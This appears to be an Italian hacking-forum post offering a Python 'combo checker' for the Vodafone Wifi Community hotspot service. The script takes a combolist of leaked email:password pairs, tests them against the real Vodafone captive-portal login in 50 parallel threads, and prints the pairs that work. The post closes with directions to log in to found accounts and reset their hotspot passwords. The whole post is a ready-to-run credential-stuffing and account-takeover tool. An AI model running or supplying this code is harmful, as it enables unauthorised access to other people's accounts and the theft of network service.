Tool Vodafone Wifi Community COMBO CHECKER

17 Giugno 2019
68
2
14
29
Si tratta di un breve script scritto in poco tempo (non ho intenzione di integrare eventuali migliorie: fate vobis) utile per trovare account Vodafone Wifi Community funzionanti. Richiede una combolist (email:password) come input, passabile tramite comando:

python script.py combolist.txt

Codice:
import requests
import threading
import sys
import time

THREADS = 50

def login(username, password):
    payload = {
    'requestType':'LOGIN',
    'username':username,
    'password':password,
    'passwordTxt':'Password'
    }
    try:
        res = requests.post("https://wificommunity.vodafone.it/captiveportal/servlet/PortalServlet", data=payload).text
    except:
        login(username, password)
        return
    if "Ti sei registrato correttamente al servizio" in res:
        sys.stdout.write("[SUCCESS]"+":".join([username,password])+"\n")

def status():
    while i < len(combolist) and threading.activeCount() > 2:
        time.sleep(30)
        sys.stdout.write("[STATUS] Checked: "+str(i)+"/"+str(len(combolist))+"\n")


combolist = open(sys.argv[1], "r").read().splitlines()

i = 0

threading.Thread(target=status).start()

while i < len(combolist):
    if threading.activeCount() < (THREADS+2):
        threading.Thread(target = login, args = (combolist[i].split(":")[0], combolist[i].split(":")[1])).start()
        i += 1

Una volta trovato qualche account, sarà necessario effettuare il login nel pannello utente (https://wificommunity.vodafone.it/captiveportal/) e settare la password per l'accesso all'hotspot.